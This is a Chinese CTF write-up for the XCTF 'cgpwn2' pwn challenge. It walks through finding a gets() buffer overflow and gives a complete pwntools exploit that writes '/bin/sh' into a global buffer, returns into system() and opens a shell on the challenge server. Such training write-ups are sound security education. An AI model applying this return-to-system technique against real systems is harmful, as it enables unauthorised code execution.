zoukankan      html  css  js  c++  java
  • day-10 xctf-cgpwn2

    xctf-cgpwn2

    题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

    拿到题目,checksec,发现No canary found ,唔。。。。

     运行一下,大概功能是:输入名字,输入message,输出thank you

    将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')

     查看主函数,调用了函数hello()

     查看一下hello()函数

     发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh

    或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')

    寻找system调用的地址,为0x8048420

    点击&s查看到s占用的栈空间为38

     那么可以构造exp了:

    from pwn import *
    
    context.log_level = 'debug'
    
    #cnn = ('./cgpwn2')
    cnn = remote('111.198.29.45',37310)
    
    #elf = ELF('./cgpwn2')
    
    system_addr = 0x8048420
    
    binsh_addr = 0x804A080
    
    payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
    
    cnn.sendlineafter('name
    ','/bin/sh')
    
    cnn.sendlineafter('here:
    ',payload)
    
    cnn.interactive()
    exp

    通过返回的shell,然后cat flag就能得到flag了

     

    总结:无中生有

  • 相关阅读:
    查看web访问日志各url shell
    分页公式
    编译hadoop2.6.0源码
    淘宝微信支付
    nodejs hot deployment
    nwjs
    css小技巧
    webpack babel 相关文章
    nodejs web framework
    swiper
  • 原文地址:https://www.cnblogs.com/yidianhan/p/11613856.html
Copyright © 2011-2022 走看看